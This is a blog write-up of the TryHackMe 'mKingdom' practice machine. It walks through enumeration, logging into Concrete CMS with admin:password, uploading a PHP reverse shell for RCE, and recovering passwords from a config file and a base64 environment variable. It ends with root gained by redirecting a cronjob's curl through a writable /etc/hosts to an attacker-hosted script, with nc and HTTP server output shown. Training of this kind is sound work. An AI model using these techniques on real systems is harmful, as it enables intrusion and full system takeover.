mKingdom Writeup (TryHackMe Easy Machine)
Beginner-friendly box inspired by a certain mustache man.
Overview
mKingdom is an easy Linux machine from TryHackMe.
We start with discovering a blog with a lot of exposed files, including back end PHP scripts. We get access to admin dashboard by trying common and very weak credentials. After that, we use an exploit for Concrete CMS that grants us RCE on the machine, giving us a reverse shell.
Once inside, we find hidden passwords for other users Toad and Mario inside a database file and inside strange environment variable.
Privilege escalation vector was very rare and unique. We abused the write access to “/etc/hosts” file in combination with a hidden cronjob that gets and executes certain bash file.
Nmap scan
Starting with Nmap scan.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.252.109 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 10:20 EDT
Nmap scan report for 10.10.252.109
Host is up (0.043s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4
Network Distance: 2 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 55.22 ms 10.9.0.1
2 68.82 ms 10.10.252.109
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.07 seconds
The Nmap scan showed only 1 unusual open port 85. There was Apache HTTP server running on this port version 2.4.7. Don’t forget to add “mkingdom.thm” to “/etc/hosts” file.
HTTP server on port 85 & inspecting exposed files
When I visited the web server, I was greeted with a message. Other than that, the page was blank.

I ran Gobuster to find all the directories. I found only one called “/app”.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://mkingdom.thm:85" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://mkingdom.thm:85
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/app (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
Progress: 87664 / 87665 (100.00%)
I arrived on page with a single button, prompting me to “JUMP”. After clicking, I got to next page “/app/castle”, with actual content. It was a blog.


Browser plugin Wappalyzer identified that Concrete CMS 8.5.2 is being used to manage the website with PHP as back end language. It claims to be Toad’s blog website with some mushrooms. I re-ran Gobuster here to brute-force the directories. We got couple results.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://mkingdom.thm:85/app/castle" -w /usr/share/wordlists/dirb/common.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://mkingdom.thm:85/app/castle
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 294]
/.htpasswd (Status: 403) [Size: 299]
/application (Status: 301) [Size: 331] [--> http://mkingdom.thm:85/app/castle/application/]
/.htaccess (Status: 403) [Size: 299]
/concrete (Status: 301) [Size: 328] [--> http://mkingdom.thm:85/app/castle/concrete/]
/index.php (Status: 200) [Size: 12047]
/packages (Status: 301) [Size: 328] [--> http://mkingdom.thm:85/app/castle/packages/]
/robots.txt (Status: 200) [Size: 532]
/updates (Status: 301) [Size: 327] [--> http://mkingdom.thm:85/app/castle/updates/]
Progress: 4614 / 4615 (99.98%)
It looked like there’s some app. “Robots.txt” listed several entries for “/application” directory.

I checked all of them. Almost everything was blank, because most of them were PHP files.

I carefully scrutinized all the discovered directories, but found nothing interesting.
I browsed the website a bit more and found a login page. I quickly tried couple combinations of the most basic usernames and passwords.

To my surprise, “admin:password” worked and I successfully logged into the administration dashboard as “admin” with all the privileges.
![]() |
admin dashboard for Toad’s Website |
Exploiting RCE in Concrete CMS & getting shell
Since we know the version of used Concrete CMS (8.5.2), I did a little research on known vulnerabilities within Concrete. I found a report on well-known bug bounty website HackerOne (link: https://hackerone.com/reports/768322) by researcher, who found authenticated RCE in Concrete.

There is a file manager with all uploaded files and a list with several allowed file types that can be uploaded. We, as admin, can add “php” into this list and upload PHP reverse shell to gain access.
1. We need to add “php” to the list of allowed file types.
![]() |
allowed File Types under System & Settings |

2. We can now go to File manager and upload our PHP reverse shell.
![]() |
File Manager under Files |


All that’s left is to click the first link to trigger the PHP shell. We got initial foothold as “www-data”.
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.9.2.143] from (UNKNOWN) [10.10.58.43] 54656
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
09:34:19 up 38 min, 0 users, load average: 0.11, 0.06, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
User flag
After looking at “/etc/passwd”, we discover that there are 2 users “mario” and “toad”. We have to find one of their passwords to access the user flag.
We need to realize that now when we have the shell, we have access to all the PHP files we discovered with Gobuster during website enumeration. All these files are located in the “/var/www/html” directory. After careful inspection, we can find password for user “toad”.
www-data@mkingdom:/var/www/html/app/castle$ cd application/
www-data@mkingdom:/var/www/html/app/castle/application$ ls
attributes config files mail themes
authentication controllers index.html page_templates tools
blocks counter.sh jobs single_pages views
bootstrap elements languages src
www-data@mkingdom:/var/www/html/app/castle/application$ cd config/
www-data@mkingdom:/var/www/html/app/castle/application/config$ ls
app.php database.php doctrine generated_overrides
<ml/app/castle/application/config$ cat database.php
<?php
return [
'default-connection' => 'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => '[REDACTED]',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
After logging in as “toad”, we check his home directory. But unfortunately, there’s no user flag.
www-data@mkingdom:/var/www/html/app/castle/application/config$ su toad
Password:
toad@mkingdom:/var/www/html/app/castle/application/config$ whoami
toad
toad@mkingdom:/var/www/html/app/castle/application/config$ cd ~
toad@mkingdom:~$ ls -la
total 100
drwxrwx--- 16 toad toad 4096 Jan 29 2024 .
drwxr-xr-x 4 root root 4096 Jun 9 2023 ..
lrwxrwxrwx 1 root root 9 Nov 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 toad toad 220 Jun 8 2023 .bash_logout
-rw-r--r-- 1 toad toad 3693 Nov 25 2023 .bashrc
drwx------ 11 toad toad 4096 Nov 28 2023 .cache
drwx------ 3 toad toad 4096 Nov 26 2023 .compiz
drwx------ 14 toad toad 4096 Nov 26 2023 .config
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Desktop
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Documents
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Downloads
drwx------ 3 toad toad 4096 Dec 10 2023 .gconf
-rw------- 1 toad toad 1710 Dec 10 2023 .ICEauthority
drwx------ 3 toad toad 4096 Nov 26 2023 .local
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Music
-rw-rw-r-- 1 toad toad 637 Jan 29 2024 .mysql_history
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Pictures
-rw-r--r-- 1 toad toad 675 Jun 8 2023 .profile
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Public
-rw-r--r-- 1 toad toad 914 Nov 25 2023 smb.txt
drwxrwx--- 2 toad toad 4096 Nov 27 2023 .ssh
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Templates
drwxr-xr-x 2 toad toad 4096 Nov 26 2023 Videos
-rw------- 1 toad toad 57 Dec 10 2023 .Xauthority
-rw------- 1 toad toad 1676 Dec 10 2023 .xsession-errors
-rw------- 1 toad toad 1675 Nov 30 2023 .xsession-errors.old
We have to log in as “mario”. I checked all toad’s files and his sudo permissions but got no luck. After some time, I remembered that I should check the environment variables too.
toad@mkingdom:~$ env
APACHE_PID_FILE=/var/run/apache2/apache2.pid
XDG_SESSION_ID=c2
SHELL=/bin/bash
APACHE_RUN_USER=www-data
OLDPWD=/home/mario
USER=toad
LS_COLORS=
PWD_token=aWthVGVOVEFOdEVTCg==
MAIL=/var/mail/toad
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
APACHE_LOG_DIR=/var/log/apache2
PWD=/home/toad
LANG=en_US.UTF-8
APACHE_RUN_GROUP=www-data
HOME=/home/toad
SHLVL=4
LOGNAME=toad
There was strange “PWD_token” variable with, seemingly, base64 encoded string as value. I booted CyberChef and decoded the string. The string was apparently a password, so I tried to log in as “mario” with it. To my delight, it was a success.
![]() |
decoding base64 encoded password for “Mario” |
toad@mkingdom:~$ su mario
Password:
mario@mkingdom:/home/toad$
There was the user flag.
PRO TIP: If you can’t read the flag using “cat”, try using other binaries like “strings”.
Root flag
Firstly, I checked what sudo permissions user “mario” has with command “sudo -l”.
mario@mkingdom:~$ sudo -l
Matching Defaults entries for mario on mkingdom:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
pwfeedback
User mario may run the following commands on mkingdom:
(ALL) /usr/bin/id
mario@mkingdom:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
I could run “id” binary with sudo. Man page says “id — print real and effective user and group IDs”. It’s very common command to run so I was quite surprised to see this. After a lot of time, I was NOT able to figure out a way to get root.
Truth to be told, this was actually a little rabbit hole. The actual solution was very rare and I have never seen it before. I ran Linpeas, Linux privilege escalation suite of scripts, and discovered something very unusual.
In the list of writable files, there was “/etc/hosts”. This file is like little internal DNS and stores pairs of IP addresses and domains that the server uses.

In addition, I transferred and ran “pspy” on the machine to monitor the system processes. That’s how I discovered a hidden cronjob that was being ran.
![]() |
cronjob that makes a GET request to some bash file |
The process used shell to invoke a request with “curl” to it’s web server to download and run certain “counter.sh”. This command used the domain “mkingdom.thm” instead of IP address.
My idea was that I can overwrite the IP address of domain “mkingdom.thm” in “/etc/hosts” to point to my machine instead. This would cause the process to send GET requests to me.


I created the same folders and bash script to match the request. I’ve prepared Bash shell script inside the “counter.sh”, to connect back to me when executed. I also started the HTTP server on port 85 (to match the request) and started a listener on random port.
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.111.59 - - [19/Mar/2025 09:43:17] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
10.10.111.59 - - [19/Mar/2025 09:44:11] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.9.2.143] from (UNKNOWN) [10.10.111.59] 49640
sh: 0: can't access tty; job control turned off
# whoami
root
When the cronjob got executed, I got the shell as “root”. Root flag was sitting and waiting in “/root”.
Summary
mKingdom is an easy machine from TryHackMe. This box is perfect for beginners as it gives you an opportunity to exploit known and common vulnerability in Concrete CMS, resulting in RCE. You will encounter very rare misconfiguration on your way for the root flag, plus reading some database files and inspecting environment variables. Tool like Pspy is very helpful here. I enjoyed this machine, even though the priv esc got me stuck a bit. Also really liked the Super Mario theme.
Comments
Post a Comment